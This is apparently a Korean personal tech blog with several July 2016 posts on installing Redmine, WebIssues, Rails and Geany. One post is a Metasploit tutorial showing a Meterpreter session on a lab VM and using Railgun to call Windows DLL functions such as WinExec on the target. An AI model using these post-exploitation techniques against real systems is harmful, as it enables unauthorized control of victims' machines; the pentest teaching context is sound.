7/27/2016

[DEBIAN] webissues를 이용한 Bug Tracking(install webissue and tutorial)


최근 redmine부터 trac 등등 여러가지 bug tracking system을 찾고 테스트해봤습니다. 물론 ui 자체는 yobi(yona)가 좋긴하지만 협업보다는 개인적으로 이슈관리가 필요해서 선택하지 않았습니다.

찾던 중 webissues 라는 툴킷을 찾게 되었습니다. 이 Issue tracker는 php 를 통합 웹서버와, 브라우저 또는 Client 툴을 이용해서 사용할 수 있는 아주 쓸만한 툴킷인 것 같습니다. (개인적인 목적 및 구성에 만족)



Install webissues server

설치방법은 아주 간단합니다. 일단 webissues client와 server 설치가 필요합니다. 물론 client 툴을 안쓰고 브라우저로만 작업하신다면 php 기반의 서버만 설치하시면 끝납니다.

아래 링크(벤더) 들어가시면 client 와 server 모두 다운로드 받을 수 있습니다.

http://webissues.mimec.org/downloads



#> wget http://downloads.sourceforge.net/webissues/webissues-server-1.1.4.zip


wget 으로 받아준 후 압축해제, 권한설정을 마치고 웹 페이지를 통해 접근하면 install 과정이 진행됩니다.

#> unzip webissues-server-1.1.4.zip
#> chown www-data:www-data ./webissues-server-1.1.4 -R
#> chmod 755 ./webissues-server.1.1.4/* -R

설치 과정에 따라 DB설정, 계정 설정 등을 진행합니다.

처음 접속하면 server 가 설정이 안되어있다고 나옵니다. Server Configuration 을 눌러 설치를 진행합니다.



설치 전에 필요한 사항에 대해 체크하는 과정이 있습니다. 별도의 설정이 없었따면 하나 파일에 access 불가하단 메시지가 발생합니다. 권한 문제이니 chown , chmod 를 이용해서 설정해주세요.



#> chown www-data:www-data * -R
#> chmod 755 * -R

다음은 계정정보와 서버 정보를 입력합니다. (제 기억엔 이 과정 중간에 Db 정보 입력 구간이 있었네요) 다른 Framework 설치와 동일하게 필요하다는 것 하나하나 기입해줍니다.




완료 후 로그인해서 보시면 webissues 설치가 다되었고, 바로 사용이 가능합니다.


Install webissues client

이 부분은 web browser만을 사용해서 webissues를 즐기신다면 필요없는 부분입니다. 다만 client 툴을 사용해서도 가능하니 취향에 따라 선택해주세요.

Debian에서는 webissues를 apt 패키지로 지원합니다. 물론 webissue-server도 있지만, 직접 다운받아 설치하는게 정신건강에 좋습니다.

apt를 이용해 client 툴을 설치합니다.

#> apt-get install webissues



설치 후 명령행을 통해 실행하면 webissues가 열리고 아까 만든 서버 주소를 넣어주면 client tool을 이용하여 작업이 가능합니다.

#> webissues


Using webussues

크게 Project 별로 구조를 만들고 하단에 각각 개별 이슈를 등록할 수 있습니다.
먼저 project 를 만들어줍니다. (메뉴는 찾다보면 금방 찾아요)


만들면 아래와 같이 Project 가 생성됩니다.

여기에 이슈를 하나 만들어볼게요. 이슈를 만들기 전에 먼저 폴더를 등록해야합니다. 프로젝트 메뉴에 보면 폴더 생성이 있고 각각 Bugs, Forum 등 항목이 지정되어 있습니다. 저는 bugs로 생성하였습니다.

폴더 생성 후 하단에 이슈를 달면 아래와 같이 나타납니다.


Refernece

http://webissues.mimec.org/downloads
Share: | Coffee Me:

7/20/2016

[DEBIAN] Using Redmine on Debian and Apache server, and Change a theme


프로젝트 관리 프레임워크는 아주 많은 종류가 있습니다.
그 중 Redmine, 즉 Rails로 만들어진 Ruby 기반의 프레임워크에 대해 이야기할까합니다. 간단하게 설치 과정에 대한 이야기로 진행하겠습니다.

Redmine

레드마인(Redmine)은 Ruby on Rails 기반의 Project Manager 및 Bug Tracking Framework입니다. 오픈소스이며 프로젝트 관리, 일정, 그래프 등등 여러가지를 지원하죠. 개인적으로는 UI는 GITHUB나 YOBI가 맘에들지만.. 그래도 Ruby Base란게 가장 큰 매력 포인트인 것 같습니다. (Ruby가 메인이라면!)



Redmine 홈페이지도 redmine 으로 만들어져 있고 테마나 부가기능없이 딱 기본 이미지 그대로 사용하기 때문에 처음 설치하면 http://www.redmine.org/ 과 동일한 화면을 만날 수 있을겁니다.

Install Redmine and passenger module

일단 Apache 서버에 설치하는 걸 기준으로 하기 때문에 Apache2 설치는 되어있다고 가정하겠습니다. 없어도 뭐.. apt-get install apache2로 쉽게 설치 가능하죠.

Redmine 또한 apt 패키지로 지원합니다. 아래와 같이 redmine과 passenger 모듈을 설치해줍니다.

#> apt-get install redmine libapache2-mod-passenger

참 쉽죠?

redmine의 기본 설치 디렉토리는 /usr/share/redmine 이며
rails 프레임워크로 하나 만들었을때랑 같은 구조의 파일이 존재합니다.

마지막으로 bundler를 이용해서 부족한 gem 파일 확인/설치를 진행해줍니다.

#> bundle install 

Run Redmine with Apache server

Redmine 자체는 Rails 의 WEBRick으로도 동작 가능하겠지만.. Apache를 이용해 redmine을 올리는 방법이 좋습니다. (WEBRick 성능이..)

먼저 remine의 public 디렉토리, 즉 ruby 코드 이외에 직접 접근 가능한 파일들이 들어있는(404.html, 500.html 등) 폴더를 apache 디렉토리로 옮겨줍니다.

Debian
#> ln -s /usr/share/redmine/public/ /var/www/redmine

Ubuntu
#> ln -s /usr/share/redmine/public/ /var/www/html/redmine

Debian과 Ubuntu 가 각각 웹 디렉토리 기본 루트가 약간 달라서 둘다 표기하겠습니다.

그다음 passenger.conf 를 수정합니다.
passenger 모듈이 연동에 필요하기 때문이죠.
#> vim /etc/apache2/mods-available/passenger.conf 

<IfModule mod_passenger.c>
  PassengerRoot /usr/lib/ruby/vendor_ruby/phusion_passenger/locations.ini
  PassengerDefaultRuby /usr/bin/ruby
  PassengerDefaultUser www-data
</IfModule>
기본으로 들어있는 내용이 있어 저는 Defaultuser만 추가하였습니다.
(PassengerDefaultUser www-data)

다음 Apache에서 redmine 을 읽을 수 있도록 000-default.conf를 수정합니다.
#> vim /etc/apache2/sites-available/000-default.conf

<Directory /var/www/redmine>
 RailsBaseURI /redmine
 PassengerResolveSymlinksInDocumentRoot on
</Directory>
Alias /redmine /var/www/redmine
VirtualHost에 포함 시키시려면 <VirtualHost> 안에 넣어주시면 됩니다.

<VirtualHost *:80>
   ServerAdmin webmaster@localhost
   DocumentRoot /var/www/html
   ErrorLog ${APACHE_LOG_DIR}/error.log
   CustomLog ${APACHE_LOG_DIR}/access.log combined

 <Directory /var/www/redmine>
   RailsBaseURI /redmine
   PassengerResolveSymlinksInDocumentRoot on
 </Directory>
   Alias /redmine /var/www/redmine
</VirtualHost>
<Directory /var/www/redmine> 와 Alias /redmine /var/www/redmine 부분은 자신의 redmine 웹 디렉토리로 지정한 경로를 넣어주시면 됩니다.


apt 설치는 root 설치이기 때문에 Gemfile.lock의 권한을 www-data로 변경하여 줍니다.
#> chown www-data:www-data /usr/share/redmine/Gemfile.lock 

마지막으로 apache2를 재시작해줍니다.

#> service apache2 restart

Open Redmine

이제 준비는 끝났습니다. 브라우저를 열어서 redmine 페이지에 접근하면 아래와 같이 잘 나타납니다.
(http://127.0.0.1/redmine)


Change Redmine Theme

Redmine의 테마를 바꾸는 방법은 아주 간단합니다.
일단 아래 사이트에서 마음에 드는 테마를 하나 선택합니다.

http://www.redmine.org/projects/redmine/wiki/Theme_List

썸네일로 싹 보여주면 참 좋을텐데.. 하나하나 보셔야할거에요.
아무튼 맘에드는 테마를 찾으시면 다운로드 후 Redmine 디렉토리 내 public/themes 에 넣어줍니다.

그다음 서버를 재시작해주면 Redmine 관리 페이지에 테마가 생성됩니다.
관리 >> 설정 >> 표시방식 >> 테마

적용해주시면 다운로드 받은 테마가 Redmine 에 적용됩니다.

Reference

http://pogenhan.tistory.com/26
http://www.redmine.org/
https://ko.wikipedia.org/wiki/%EB%A0%88%EB%93%9C%EB%A7%88%EC%9D%B8
http://pseg.or.kr/pseg/infouse/3070

Share: | Coffee Me:

7/19/2016

[DEBIAN] Change the GRUB background image


GRUB Background image 에 대해 변경하는 방법입니다.
메모할겸 작성해둡니다.

/boot/grub/grub.cfg.파일 내 "GRUB_BACKGROUND" 값을 통해 배경 이미지 변경이 가능합니다.

#> vim /boot/grub/grub.cfg 

GRUB_DEFAULT=0
GRUB_TIMEOUT=5
GRUB_DISTRIBUTOR=`lsb_release -i -s 2> /dev/null || echo Debian`
GRUB_CMDLINE_LINUX_DEFAULT="quiet"
GRUB_CMDLINE_LINUX=""

GRUB_BACKGROUND="/usr/share/images/desktop-base/moreblue-orbit-splash.png"

저는 기존에 적용된 부분이 있어 아래 부분에 적용하였습니다.

if background_image /usr/share/images/desktop-base/joy-grub.png; then
  set color_normal=white/black
  set color_highlight=black/white
else
  set menu_color_normal=cyan/blue
  set menu_color_highlight=white/blue
fi
저장 후  update-grub를 통해 grub를 업데이트합니다.

#> update-grub
#> reboot

Change!

Share: | Coffee Me:

[METASPLOIT] Meterpreter Railgun / Useful API call for Hacker&Pentester


오늘은 Metasploit 의 강력한 쉘인 Meterpreter shell 중 Railgun과 IRB를 이용한 API 사용에 대한 내용으로 이야기를 준비했습니다.

쉬운 이해를 위해서 API Call 먼저보고 RailGun 순서로 진행됩니다.
Meterpreter를 아주 강력하게 만들어주는 RailGun, 편리한 공격을 위한 IRB API에 대해 시작합니다. :)


Warm-up!

오늘도 meterpreter 테스트를 위해 가상머신 하나를 탈취합니다.
(VM이라 동일 IP로 찍혀요)

hahwul exploit(handler) #>
[*] Sending stage (957999 bytes) to 192.168.0.8
[*] Meterpreter session 1 opened (192.168.0.8:4444 -> 192.168.0.8:51270) at 2016-07-18 23:12:21 +0900

hahwul exploit(handler) #> sessions -l

Active sessions
===============

  Id  Type                   Information                                      Connection
  --  ----                   -----------                                      ----------
  1   meterpreter x86/win32  BEGINNER-4CAED9\Administrator @ BEGINNER-4CAED9  192.168.0.8:4444 -> 192.168.0.8:51270 (10.0.2.15)

hahwul exploit(handler) #> sessions -i 1
[*] Starting interaction with 1...

meterpreter >


IRB를 이용한 Ruby Shell 실행

Meterpreter shell에선 ruby shell인 irb를 사용할 수 있습니다.
덤으로 metasploit 자체가 ruby로 짜여있기 때문에 굉장히 편하게 쓸 수 있죠.
(ruby를 주력으로 쓰는 저에게는 최고의 구성)

meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client

>>

irb 사용은 meterpreter 사용에서 아주 유연함을 주기 때문에 알아둘수록 좋습니다.

API Call을 이용한 system info 수집

이 내용은 Metasploit Unleashed에 소개된 내용입니다. unleashed 에서 좋은 내용을 많이 다루기 때문에 MSF 공부하시는 분이라면 꼭 다 보셨으면 합니다.


먼저 meterpreter에서 ruby는 내부에 타겟에 대한 class 가 이미 선언되어 있습니다.
바로 "client" 인데요. client class에서 시스템에 대한 정보나 오늘 포스팅 목적인 railgun 까지 다 포함하고 있는 가장 큰 클래스입니다.

?> client
=> #<Session:meterpreter 192.168.0.8:51270 (10.0.2.15) "BEGINNER-4CAED9\Administrator @ BEGINNER-4CAED9">

client class를 보면 연결에 대한 정보가 들어있음을 확인할 수 있죠.

이제 유용한 API를 하나하나 볼까요?

1) sysinfo
client.sys.config.sysinfo 에 있는 정보는 타겟 시스템에 대한 정보를 담고 있습니다.

>> client.sys.config.sysinfo
=> {"Computer"=>"BEGINNER-4CAED9", "OS"=>"Windows XP (Build 2600, Service Pack 3).", "Architecture"=>"x86", "System Language"=>"ko_KR", "Domain"=>"WORKGROUP", "Logged On Users"=>2}

Computer이름부터 OS, Domain등등 여러가지 정보가 있네요. 각각의 정보는 Hash 형태로 저장되어 있어서 아래와 같이 각각 키 명을 호출하여 값을 불러올 수 있습니다.

>> client.sys.config.sysinfo['OS']
=> "Windows XP (Build 2600, Service Pack 3)."
>> client.sys.config.sysinfo['Domain']
=> "WORKGROUP"
>>

역시 hash는 루비의 엄청난 장점이죠.

2) getuid
sys.config 하단에 있는 getuid는 현재 client로 열린 쉘의 사용자를 가지고 있습니다.
권한이라고 보시면되죠. 이걸 이용해서 meterpreter shell로 접근 획득 후 admin 권한인지 확인하고, 없으면 local exploit 을 찾아서 자동으로 권한 탈취하는 meterpreter shell을 구성할 수도 있을 것 같네요.

>> client.sys.config.getuid
=> "BEGINNER-4CAED9\\Administrator"
>>

local exploit 관련 글은 아래 내용 참조해주세요.

[METASPLOIT] /local_exploit_suggester 모듈을 이용한 Local Exploit 찾기
(http://www.hahwul.com/2016/02/metasploit-localexploitsuggester-local.html)


3) interfaces
마지막으로 ifconfig, ipconfig에 해당하는 net.config 하단의 interfaces 입니다.
net 아래인 것 처럼 네트워크 정보를 담고 있으며 이 부분도 parsing 해서 사용 시 편리할 것 같습니다.

>> interface = client.net.config.interfaces
>> interface.each do |i|
?> puts i.pretty
>> end
Interface  2
============
Name         : AMD PCNET Family PCI Ethernet Adapter - rfacee
Hardware MAC : 08:00:27:14:c5:a9
MTU          : 1500
IPv4 Address : 10.0.2.15
IPv4 Netmask : 255.255.255.0
Interface  1
============
Name         : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU          : 1520
IPv4 Address : 127.0.0.1

Meterpreter RailGun - About

오늘 포스팅의 주 목적인 Railgun 부분입니다. 일단 railgun은 실제 무기로도 아주 요명하죠. 위력이 굉장하다고 들었던 것 같습니다.


meterpreter 에서의 railgun도 아주 강력합니다. 개인적으로 meterpreter shell 기능 중 top3로 꼽습니다.

RailGun은 Meterpreter shell이 침투한 Windows에서 동작할 때 사용할 수 있는 확장부분입니다. Target system에 존재하는 DLL과 그 내부의 함수, 코드등에 대해 실행할 수 있어 공격자로 하여금 좀 더 유연한 공격과 편리한 기능을 제공합니다.

다만 예쁘게 help를 주는건 아니니 각 DLL 별 함수 종류 및 사용법을 위해서는 MSDN은 필수입니다.

Meterpreter RailGun - Using USER32.DLL fucntion

아까 irb의 구조를 조금 보았기 때문에 아마도 이해에 도움되실겁니다.
"client" 하단에 railgun이 따로 존재하며 위에서 말씀드렸듯이 railgun을 이용해서 system api 를 직접 호출할 수 있습니다.

일단 사용법을 보면 아래와 같습니다.

client.railgun.<dll library>.<function>(<function args>)

railgun 하단에 사용할 dll library가 들어가고 dll의 존재하는 함수명으로 호출이 간으합니다. 좀 더 쉬운 이해를 위해 아래 예제 코드를 볼까요?

>> client.railgun.user32.MessageBoxA(0,"HAHWUL","HAcked.!","MB_OK")

railgun으로 user32.dll에 접근 후 MessageBoxA 함수를 실행합니다.
MessageBoxA 함수는 Win API 프로그래밍을 해보셨다면 많이 익숙할껍니다.
바로 메시지 창이죠.

int WINAPI MessageBox(
  _In_opt_ HWND    hWnd,
  _In_opt_ LPCTSTR lpText,
  _In_opt_ LPCTSTR lpCaption,
  _In_     UINT    uType
);
위 값을 입력했을 때 Target PC에서 어떤일이 일어나는지 보죠.



user32.dll에 선언된 MessageBoxA 함수가 실행되어 제가 넣은 인자값으로 창이 뜨게 되었습니다.

사용 가능한 함수 리스트는 puts으로 찍어주면 쉽게 볼 수 있습니다.

>> puts client.railgun.user32
RuntimeError: DLL-function to_ary not found. Known functions: ["ActivateKeyboardLayout",
 "AdjustWindowRect",
 "AdjustWindowRectEx",
 "AllowSetForegroundWindow",
...

Meterpreter RailGun - Using KERNEL32.DLL fucntion


자 그럼 하나 더 해볼까요?
kernel32.dll에는 WinExec 라는 함수가 있습니다. 명령을 실행시켜주죠.
(간단한 함수로 찾다보니 WinExec가 설명하기 좋겠더라구요)

함수형을 보면 아래와 같습니다.

UINT WINAPI WinExec(
  _In_ LPCSTR lpCmdLine,
  _In_ UINT   uCmdShow
);
1번 인자값으로 명령, 2번은 view 옵션이 들어갑니다.
이제 railgun으로 실행해볼까요?

>> client.railgun.kernel32.WinExec("calc",0)
=> {"GetLastError"=>0, "ErrorMessage"=>"\xC0\xDB\xBE\xF7\xC0\xBB \xBF\xCF\xB7\xE1\xC7\xDF\xBD\xC0\xB4\xCF\xB4\xD9.", "return"=>33}



계산기가 잘 뜨네요.

Conclusion

Railgun은 아주 좋은 Ruby Module(?) 입니다. meterpreter 자체의 irb 성능도 좋긴하지만 railgun으로 굉장히 유연하고 강력한 pentest, hacking을 지원하게 되죠.

ruby 자체로 코딩할 수 있으니 그 가능성은 무한하다고 봅니다.


Reference

https://www.offensive-security.com/metasploit-unleashed/api-calls/
http://www.hahwul.com/2015/08/metasploit-metasploit-autorunscript.html
http://www.hahwul.com/2016/02/metasploit-localexploitsuggester-local.html
https://msdn.microsoft.com/ko-kr/library/windows/desktop/ms687393(v=vs.85).aspx
https://msdn.microsoft.com/ko-kr/library/windows/desktop/ms645505(v=vs.85).aspx
Share: | Coffee Me:

7/18/2016

[RUBY] ROR(Ruby on Rails)를 이용한 Web Develope part2 - Create Blog Application and Security


지난 포스팅에서는 Rails 설치 및 기초적인 사용방법에 대해 보았다면
오늘은 아주아주 간단한 페이지 만드는법과 테스트 페이지의 보안을 위해서 HTTP 인증을 추가하는 방법에 대해 해볼까합니다.

https://udemy-images.udemy.com/course/750x422/531360_06c4.jpg


이전에 간단한 프로젝트를 할때 Rails를 사용했었는데, 확실히 보안적인 측면에서 미리 고려되다 보니 필터링하는 번거로움이 없어 편했다죠.
(해킹/보안으로 먹고사는지라.. 프로젝트 해봤자 조그만한거에요..)

Worm up!

시작에 앞서 rails를 가지고 웹을 생성합니다.

#> rails new rails_test
      create
      create  README.rdoc
      create  Rakefile
      create  config.ru
      create  .gitignore
      create  Gemfile
...

#> cd rails_test

Create View and Controller

일단 MVC 모델에서 중요한 View와 Controller를 만들어야합니다.

#> rails generate controller home index
      create  app/controllers/home_controller.rb
       route  get 'home/index'
      invoke  erb
      create    app/views/home
      create    app/views/home/index.html.erb
      invoke  test_unit
      create    test/controllers/home_controller_test.rb
      invoke  helper
      create    app/helpers/home_helper.rb
      invoke    test_unit
      create      test/helpers/home_helper_test.rb
      invoke  assets
      invoke    coffee
      create      app/assets/javascripts/home.js.coffee
      invoke    scss
      create      app/assets/stylesheets/home.css.scss

아마 위 과정을 거치면 자동으로 index.html 이 지워지겠지만 혹시나 남아있다면 index.html 페이지를 지워줍니다.
public 디렉토리 하단에 있으며 이 public 디렉토리는 route.rb 설정 없이도 직접 접근이 가능한 Resource 디렉토리라고 보시면 좋습니다.

#> rm -rf ./public/index.html

#> cd /rails_test/app/views/home
#> ls
index.html.erb

.erb 파일은 rails 기본 포맷이며 ruby와 html 을 섞어쓸 수 있는 확장자입니다. html에서 php 코드 쓰는 느낌이랑 비슷하죠.

이제 내용을 편집해줍니다.

#> vim index.html.erb

<h1>Home#index</h1>
<p>Rails . HAHWUL TEST</p>
<iframe src="http://www.hahwul.com"></iframe>
ruby 코드는 <%=  %> 를 통해 사용할 수 있습니다. (php랑 똑같아요)

<%=
  @a = "I am RUBY Code!"
  raw @a
%>
ruby에서 puts은 console 출력을 의미합니다. puts으로 아무리 써봐야 server에 console만 잔뜩찍히기 때문에 raw를 이용해서 웹에 출력해주어야합니다.

Full code로 보면

<h1>Home#index</h1>
<p>Rails . HAHWUL TEST</p>
<iframe src="http://www.hahwul.com"></iframe>
<%=
  @a = "I am RUBY Code!"
  raw @a
%>
이러고 페이지를 접근해보면..

아직 default 페이지가 나오죠.
왜일까요? routes.rb 설정이 되어있지 않기 때문입니다.

Editing config/routes.rb

routes.rb는 각각 erb 파일과 web 요청을 이어주는 역할을 합니다.

rails 홈 디렉토리로 이동 후 config 하단에 routes.rb 파일을 열어줍니다.
#> cd /rails_test/
#> vim config/routes.rb

아무 설정이 없다면 맨위에 아래와 같은 설정값이 있습니다.

  get 'home/index'
이제 약간 손을 봐줘야겠죠?

  root :to => "home#index"

이제 접근해보면 정상적으로 나타납니다.

ruby 코드도 잘 실행되었네요

Scaffolding을 이용한 리소스 만들기

Scaffolding 를 이용하면 좀 더 쉽게 웹 코드를 생성할 수 있습니다. 사실 저도 이부분은 많이 익숙하지 않아서 직접 코딩하는 경우가 많은데요,
rails 개발자일수록 이 부분을 많이 활용한다고 해요.

#> rails generate scaffold Post nale:string content:text
      invoke  active_record
      create    db/migrate/20160718124447_create_posts.rb
      create    app/models/post.rb
      invoke    test_unit
      create      test/models/post_test.rb
      create      test/fixtures/posts.yml
....

위 부분까지 수행하면
아래 경로에 migration 관련 파일이 생성됩니다. (날짜 데이터는 약간 달라요)

# vim db/migrate/20160718124447_create_posts.rb
class CreatePosts < ActiveRecord::Migration
  def change
    create_table :posts do |t|
      t.string :nale
      t.text :content
      t.timestamps
    end
  end
end

아까 지정한 형태로 string과 text가 생성되어있습니다. timestamps도요.
이제 migrate를 해줍니다.

#> rake db:migrate
== 20160718124447 CreatePosts: migrating ======================================
-- create_table(:posts)
   -> 0.0055s
== 20160718124447 CreatePosts: migrated (0.0058s) =============================

index.html.erb에 아래 내용을 추가해줍니다.

<%= link_to "My Blog", posts_path %>
위 작업으로 우리 코드에 posts 부분이 연결되었습니다.

<h1>Home#index</h1>
<p>Rails . HAHWUL TEST</p>
<iframe src="http://www.hahwul.com"></iframe>
<%=
  @a = "I am RUBY Code!"
  raw @a
%>
<hr>
<%= link_to "My Blog", posts_path %>
접근해서 보시면 링크 부분이 생성되었고, 눌러서 들어가시면 아래와 같은 페이지로 이동됩니다.



192.168.0.12:3000/posts

이 부분이 이제 반복적으로 파일을 만들지 않고도 글을 작성할 수 있는 부분이죠.

쭉쭉쭉 눌러서 글을 써보시면 바로 페이지가 생성됨을 볼 수 있죠.
(이전에 이것도 모르고 하나하나 ruby로 짜고있던 제가 부끄럽네요..)






물론 필터링도 되어있습니다.

XSS Filter까지?!

Security / HTTP Authentication

간단하게 페이지를 만드는 법을 봤는데, 여기서 잘 보셔야 할 내용이 XSS 필터링을 자기가 생성해서 넣어줬단 겁니다.
아무리 필터링 프레임워크를 써도 노가다는 노가다인데.. 좋네요.
(물론 개발자한테 뭐라하는지라 개발자의 맘으로 이해하기는 어렵지만요)

또한 CSRF Token까지!!

<meta content="v7MKs4s4MCHmEAvDBBrPAmeBc92IPOJUTTnZLQvho3o=" name="csrf-token" />
Rails는 재미있는 기능을 하나 더 지원합니다. 바로 HTTP 인증을 쉽게 적용할 수 있는데요.

#> vim app/controllers/application_controller.rb

class ApplicationController < ActionController::Base
  # Prevent CSRF attacks by raising an exception.
  # For APIs, you may want to use :null_session instead.
  protect_from_forgery

  private

  def authenticate
    authenticate_or_request_with_http_basic do |user_name, password|
      user_name == 'test' && password == 'test123'
    end
  end

end

간단하게 인증을 구성하는 함수를 만들었습니다.
test/test123으로 접근이 가능하죠.

자 이제 이 함수를 원하시는 controller에 적용해야합니다.
저는 main페이지 접근 시 인증을 걸어보도록 하겠습니다.

#> cd app/controllers/
#> vim home_controller.rb

class HomeController < ApplicationController
before_filter :authenticate
  def index
  end
end
자 이러고 나면 main 페이지 접근 시 아래와 같이 인증을 요청하게 됩니다.


Conclusion

음.. 사실 Rails R도 못했네요.. 욕심이 과해서 급하게 포스팅을 하다보니 Tutorial을 따라간 느낌이랄까요..
그리고 워낙 Tutorial이 잘 나와있어서요. 아무튼 Ruby인에게는 이만한 프레임워크가 없습니다.

잘 익혀두시면 굉장히 도움되는 프레임워크라고 생각되네요.

Reference

http://rubykr.github.io/rails_guides/getting_started.html
Share: | Coffee Me:

7/16/2016

[RUBY] ROR(Ruby on Rails)를 이용한 Web Develope part1 - About/Install Rails


제 주력 코딩 언어는 Ruby 입니다. (솔직히 언어개념 없어요.. 그냥 쓸 수 있으면 되는거죠 뭐.. 난 개발자 아니니깐)
그래서 예전에 관심있어하고 웹 개발 시 종종 사용하던 ROR(Ruby on Rails)에 대한 이야기를 풀어나갈까 합니다.

크게 몇가지의 파트를 나누어 포스팅을 분할하였고 튜토리얼 식으로 해볼까합니다.
그럼 시작합니다.


Ruby on Rails?

Rails는 Ruby 기반의 웹 프레임워크입니다. 덴마크의 David Heinemeier Hansson이 오픈소스로 만들었고 Ruby를 유명하게 만들어준 굉장한 프레임워크이기도 합니다.

MVC 모델 패턴을 사용하고 있고 DB 작업 시 편리한 장점이 있습니다.
개인적으로는 Ruby로 작성된게 가장 큰 매력이네요.

MVC 아키텍처에 대해 간단하게 설명하고 가면 Model(모델), View(뷰), Controller(컨트롤러)의 약자입니다. Rails 자체가 모델과 뷰, 컨트롤러에 의해 동작하기 때문입니다. 요 내용은 rubykr.github.io에 잘 나와있어 인용합니다.


모델(Models)

모델은 어플리케이션의 정보(data)와 데이터를 다루는 규칙들을 의미합니다. 레일즈의 경우에, 모델은 주로 데이터베이스 데이블과 상호 작용하는 규칙들을 관리합니다. 대부분의 경우에 데이터베이스의 하나의 테이블은 어플리케이션의 하나의 모델과 대응합니다. 대부분의 비지니스 로직은 모델에 집중됩니다.

뷰(Views)

뷰는 어플리케이션의 유저 인터페이스를 의미합니다. 레일즈에서 뷰는 주로 데이터 표현에 관련 된 루비 코드가 삽입되어 있는 HTML 파일입니다. 뷰는 데이터를 웹 브라우저나 다른 기기에게 데이터를 제공하는 일을 담당합니다.

컨트롤러(Controllers)

컨트롤러는 모델과 뷰를 "연결"하는 역할을 합니다. 레일즈에서 컨트롤러는 웹브라우저의 요청 받아서, 모델을 통해서 데이터를 조회하여, 출력을 위해 뷰에게 데이터를 넘겨줍니다.

보다보니 좋은 이미지가 있어 첨부합니다.

https://basicsofwebdevelopment.files.wordpress.com/2015/01/mvc_role_diagram.png


이런 MVC는 사용자로 하여금 코드 관리의 편의성을 제공할 수 있고 로직과 UI를 분리할 수 있어 편리합니다.

Install Rails

일단 Ruby는 당연히 깔려있어야 합니다. 먼저 ruby 부터 설치해줍니다.

debian(ubuntu/mint)
#> apt-get install ruby

redhat(centos/fedora)
#> yum install ruby

ruby는 gem 이라는 루비 패키지 매니저를 사용합니다. python pip와 비슷한거죠.
gem을 통해서 rails를 설치해줍니다. (예전엔 ruby 설치하면 gem이 같이 설치 안되었던거 같은데, 아닌가보네요.. )

#> gem install rails

자 이제 rails 설치는 끝났습니다.

#> rails -v
Rails 4.2.7

Making simple web application

그냥 끝내기는 약간 아쉬우니 맛보기로 간단한 rails 어플리케이션 만들기를 해보겠습니다.

#> rails new test
      create
      create  README.rdoc
      create  Rakefile
      create  config.ru
      create  .gitignore
      create  Gemfile
...

rails 명령을 이용해 web application 을 만들면 여러 파일/디렉토리가 생성됩니다.

#> cd test/
#> ll
합계 72
drwxr-xr-x 12 root root 4096  7월 15 22:53 .
drwxr-xr-x  3 hahwul hahwul 4096  7월 15 22:53 ..
-rw-r--r--  1 root root  474  7월 15 22:53 .gitignore
-rw-r--r--  1 root root 1502  7월 15 22:53 Gemfile
-rw-r--r--  1 root root 4030  7월 15 22:53 Gemfile.lock
-rw-r--r--  1 root root  478  7월 15 22:53 README.rdoc
-rw-r--r--  1 root root  249  7월 15 22:53 Rakefile
drwxr-xr-x  8 root root 4096  7월 15 22:53 app
drwxr-xr-x  2 root root 4096  7월 15 22:53 bin
drwxr-xr-x  5 root root 4096  7월 15 22:53 config
-rw-r--r--  1 root root  153  7월 15 22:53 config.ru
drwxr-xr-x  2 root root 4096  7월 15 22:53 db
drwxr-xr-x  4 root root 4096  7월 15 22:53 lib
drwxr-xr-x  2 root root 4096  7월 15 22:53 log
drwxr-xr-x  2 root root 4096  7월 15 22:53 public
drwxr-xr-x  8 root root 4096  7월 15 22:53 test
drwxr-xr-x  3 root root 4096  7월 15 22:53 tmp
drwxr-xr-x  3 root root 4096  7월 15 22:53 vendor

이제 번들러를 통해 필요한 gem(library)를 설치합니다.

#> bundle install 

자 여기까지 구동을 위한 구성은 끝났습니다.
DB 설정도할 수 있고 여러가지 건드릴 수 있지만 소개와 설치에 관한 글이기 때문에 간단한 동작까지만 보도록 하겠습니다.

Rails 는 기본적으로 WEBrick이란 gem을 통해서 서버로 구동됩니다.

#> rails server
=> Booting WEBrick
=> Rails 4.1.8 application starting in development on http://0.0.0.0:3000
=> Run `rails server -h` for more startup options
=> Notice: server is listening on all interfaces (0.0.0.0). Consider using 127.0.0.1 (--binding option)
=> Ctrl-C to shutdown server
[2016-07-15 23:01:02] INFO  WEBrick 1.3.1
[2016-07-15 23:01:02] INFO  ruby 2.1.5 (2014-11-13) [arm-linux-gnueabihf]
[2016-07-15 23:01:02] INFO  WEBrick::HTTPServer#start: pid=3878 port=3000


위 명령 시 WEBrick을 이요해서 rails 서버가 동작하게 되며 Default port(3000)으로 붙어보시면 서버가 동작하고 있는 것을 확인할 수 있습니다.

open browser > 127.0.0.1:3000


WEBrick에 대해서 궁금하시면 이전에 작성한 포스팅 넣어드릴테니 참고해주세용.

[RUBY] WEBrick을 이용한 간단 Ruby 웹 서버 만들기(Writing Web Server Code whit Ruby WEBrick)

[RUBY] WEBrick::mount_proc 메소드를 이용한 WEBrick 서버 내 Ruby 처리부분 만들기


아주 간단하게 rails에 대해 설치하고 만드는 것까지 다뤄봤습니다. (사실 튜토리얼..)
이후에는 rails 를 이용해서 웹을 개발하는 내용에 대해 더 자세히 해볼 예정입니다.

Reference

https://en.wikipedia.org/wiki/Ruby_on_Rails
http://rubykr.github.io/rails_guides/getting_started.html
Share: | Coffee Me:

7/14/2016

[DEBIAN] Geany - Develope IDE for hacker and programmer


우분투 소프트웨어 센터에서 쓸만한 툴이 있나 찾아보던 중 Geany라는 개발 IDE에 대해 알게 되었습니다.

"fast and lightweight IDE"


즉 가볍고 빠름을 추구하는 이 IDE에 대해 사용해보고, 계속 사용해오던 gedit과의 비교를 하는 시간을 가져볼까 합니다.

Geany?

Geany IDE는 일반 Editor라고 보기는 조금 힘들 것 같습니다. 정말 개발을 위한 IDE이며, Text editor라고 하기에는 너무 강력하지요.

이 친구는 Text editor에 Compiler, Debugger까지 갖춰진 툴입니다.
굳이 비교하자면 Eclipse와 같은 IDE 끼리 비교해야 할 정도입니다.

물론 이 툴은 Linux 이외 Windows에서도 사용이 가능하며 속도와 가벼움이 메인이기 때문에 Ruby, Python 같이 스크립트 언어 개발 시 더더욱 진가를 발휘할 것 같습니다.

Install Geany

일단 Debian 계열의 Linux는 apt 패키지 매니져를 이용하여 쉽게 설치할 수 있습니다.
아래와 같이 명령을 입력해줍니다.

Debian 계열(Debian/Ubuntu/Mint ..)

#> apt-get install geany

